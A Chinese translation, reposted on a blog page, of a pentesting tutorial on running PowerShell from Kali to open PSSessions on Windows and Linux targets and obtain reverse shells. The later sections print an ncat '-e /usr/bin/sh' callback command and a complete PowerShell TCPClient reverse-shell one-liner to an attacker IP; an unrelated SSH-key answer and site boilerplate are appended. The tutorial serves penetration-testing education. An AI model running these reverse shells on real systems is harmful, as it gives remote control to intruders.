powershell连接ssh_如何优雅的在Linux上使用Powershell]

640?wx_fmt=gif点击上方“蓝字”关注我们吧! 640?wx_fmt=gif

译文声明
本文是翻译文章,文章原作者 TJ Null

文章来源:https://www.offensive-security.com
原文地址:

https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

译文仅供参考,具体内容表达以及含义原文为准。

640?wx_fmt=gif 640?wx_fmt=png 640?wx_fmt=gif

前言

640?wx_fmt=gif 640?wx_fmt=gif 640?wx_fmt=png

在最近的几年中,PowerShell显然已经成为了一种功能强大的脚本语言,它是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。不仅如此,微软还推出了Powershell Core,可以跨平台使用,支持 LinuxMac

Linux上使用PowerShell可以带来诸多好处,例如:
•可以在PowerShell中编写和调试脚本
•连接到Windows目标靶机
•传输文件

但是目前,PowerShell在Linux平台上功能还不够完善,例如:
•所支持的cmdlet不完善
•不能够在PowerShell中直接使用sudoexec•不支持WMI或CIM

在本文中,我们将展示如何在 Kali 上建立 PSSession 到我们的靶机(Windows和Linux)。在Powshell中,PSSessioncmdlet允许我们创建到本地或远程计算机的持久连接。通过PSSession我们可以实现在加密传输内容的同时与目标主机进行交互。(注意:本文中使用的命令已在 Windows10x64 Pro,2004 版和 Ubuntu20.04LTS 上进行了测试。) 640?wx_fmt=gif 640?wx_fmt=png 640?wx_fmt=gif

在WINDOWS上获取PSSESSION

640?wx_fmt=gif 640?wx_fmt=gif 640?wx_fmt=png 要想与PSSession进行交互,首先在Windows我们需要启用 PSremoting 并具有访问系统的凭据。当您启用PSRemoting时,它使用默认的 HTTP 5985 端口进行连接。 WS-Management 协议会帮助我们加密通过网络传输的所有 Windows PowerShell 内容。在本次测试中,使用默认选项即可。 在Kali上首次使用Powshell时,需要安装一个单独的软件包,并且需要更改一些配置才能获取PSSession。我们需要安装 gss ntlmssp ,并在PowerShell目录中创建两个符号链接,以确保PowerShell中的 WSman 模块正常工作。默认情况下,我们的PowerShell位于以下路径:

/ opt / Microsoft / powershell / 7

切换到到上面的目录。在该目录中,添加符号链接:

ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln -s /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2 libcrypto .so.1.0.0
准备工作已经完成,让我们打开kali系统上Powshell终端,键入以下命令来创建一个新的PSSession。 $offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential
使用正确的凭据,我们就可以实现在PSSession中与Windows目标进行交互。运行结果如下图所示:

640?wx_fmt=png

创建PSSession后,我们可以使用 Invoke-Command 的Session参数在PSSession中运行命令或脚本。我们还可以通过 Invoke-Command 命令实现与多台主机进行交互。以下是一个演示示例,在多台主机上执行hostname命令: Invoke-Command -Session $offsecsession -ScriptBlock {hostname}

640?wx_fmt=png

通过这种方法,我们就可以在PSSession后台执行命令。ScriptBlock还允许我们同时执行多条命令,只需要使用‘;’将每条命令隔开即可。下面是演示示例:

Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}

640?wx_fmt=png

命令回显:

640?wx_fmt=png

如上图所示,我们可以获取系统的主机名,当前域和用户的名称,以及当前用户的安全权限。接下来,让我们看一下如何在Linux上获得PSSession。 640?wx_fmt=gif 640?wx_fmt=png 640?wx_fmt=gif

在LINUX系统上获取PSSESSION

640?wx_fmt=gif 640?wx_fmt=gif 640?wx_fmt=png PSSession不仅局限于Windows,在Linux上运行Powershell同样允许我们在Linux靶机中启动PSSession。我们需要先运行 ssh 服务,同时修改 sshd_config 文件: •PasswordAuthentication yes •Optional: PubkeyAuthentication yes
在Ubuntu上键入以下命令: Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile

640?wx_fmt=png

接着我们保存对 sshd_config 的修改,并且重启ssh服务。这样我们便可以在Linux靶机上获得PSSession:

640?wx_fmt=png

我们还可以通过“ Invoke-Command” cmdlet在PSSession中运行Bash命令或PowerShell命令。

640?wx_fmt=png

Tips:在Linux并非支持所有的cmdlet命令。但是随着PowerShell的不断更新与完善,支持cmdlet的指令集也会不断更新。目前我们已经实现在Linux靶机上获取PSSession,下面让我们看一下如何使用Powshell在Linux获取反向shell。

640?wx_fmt=gif 640?wx_fmt=png 640?wx_fmt=gif

在LINUX上获取反向SHELL

640?wx_fmt=gif 640?wx_fmt=gif 640?wx_fmt=png 在渗透测试中, PowerShell 还可以进行反弹shell的操作。我们可以在靶机上执行二进制文件,传输文件,读写文件。我将在这一小节中,演示如何通过 ncat 命令获取反弹shell。我们使用一个名为 Start-Process 的cmdlet可以帮助我们达到目的。下面是一个演示示例: Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'

640?wx_fmt=png

我们使用了Start-Process命令运行了 ncat ,并向kali回调了一个shell。我们只需要在kali上保持监听即可。如下图所示,我们成功的在kali上获取了一个反向shell:

640?wx_fmt=png

我们还可以使用pwsh后边跟上-Command参数,直接在bash中执行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"

640?wx_fmt=png

运行结果如下图所示,我们同样获取了一个反弹shell:

640?wx_fmt=png

简化操作


我们甚至还可以借助Powshell本身的功能来进行反弹shell。脚本如下:
$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length))  - ne 0)  {;$data = (New - Object  - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback  +  "PS "  +  (pwd).Path  +  "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()
我们可以把脚本集中放置在一行,并将其保存为文本文件(例如posh.ps1): $callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close() 当靶机执行此脚本时,同样可以达到反弹shell的目的:

640?wx_fmt=png

我们可以在shell中运行bash或powershell命令:

640?wx_fmt=png

640?wx_fmt=gif 640?wx_fmt=png 640?wx_fmt=gif

结论

640?wx_fmt=gif 640?wx_fmt=gif 640?wx_fmt=png
如今,powshell已经成为了渗透测试中一大利器。本文只是演示了几个简单的示例,Powshell功能远不仅此。从 pentester 的角度来看,我们使用了PowerShell拓展了我们后渗透测试的手段。防御者也通过Powershell来检测攻击者的行为。后续,我们将继续研究PowerShell在linux更多利用手法。 640?wx_fmt=gif 640?wx_fmt=png 640?wx_fmt=gif

参考文献

640?wx_fmt=gif 640?wx_fmt=gif 640?wx_fmt=png

Kali Bug Report
(https://bugs.kali.org/view.php?id=5915) PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374) Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7) 640?wx_fmt=gif 640?wx_fmt=jpeg 640?wx_fmt=png 640?wx_fmt=gif 点分享 640?wx_fmt=gif点点赞 640?wx_fmt=gif点在看
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用PowerShell连接远程服务器的SSH,你可以按照以下步骤进行操作: 1. 首先,确保你已经在Windows端生成了SSH密钥文件。你可以使用以下命令在PowerShell中生成密钥文件: ``` ssh-keygen -t rsa ``` 这将在你的用户目录下的.ssh文件夹中生成密钥文件。 2. 接下来,你需要将生成的公钥文件(id_rsa.pub)复制到远程服务器的`~/.ssh/authorized_keys`文件中。你可以使用以下命令将公钥文件复制到远程服务器: ``` cat ~/.ssh/id_rsa.pub | ssh user@hostname 'cat >> ~/.ssh/authorized_keys' ``` 其中,`user`是你在远程服务器上的用户名,`hostname`是远程服务器的IP地址或域名。 3. 现在,你可以使用以下命令在PowerShell连接到远程服务器: ``` ssh user@hostname ``` 其中,`user`是你在远程服务器上的用户名,`hostname`是远程服务器的IP地址或域名。 请注意,以上步骤中的`user`和`hostname`需要替换为你实际使用的用户名和远程服务器的IP地址或域名。另外,确保你已经在本地配置好了SSH连接文件(config文件),并且密钥文件的路径正确。 希望这些信息对你有帮助!\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* *2* [Win10 PowerShell,通过SSH公钥远程连接Linux服务器](https://blog.csdn.net/WooPomjay/article/details/122627607)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [电脑自带的cmd/Powershell连接远程服务器(实用技巧)](https://blog.csdn.net/weixin_44187271/article/details/122864018)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值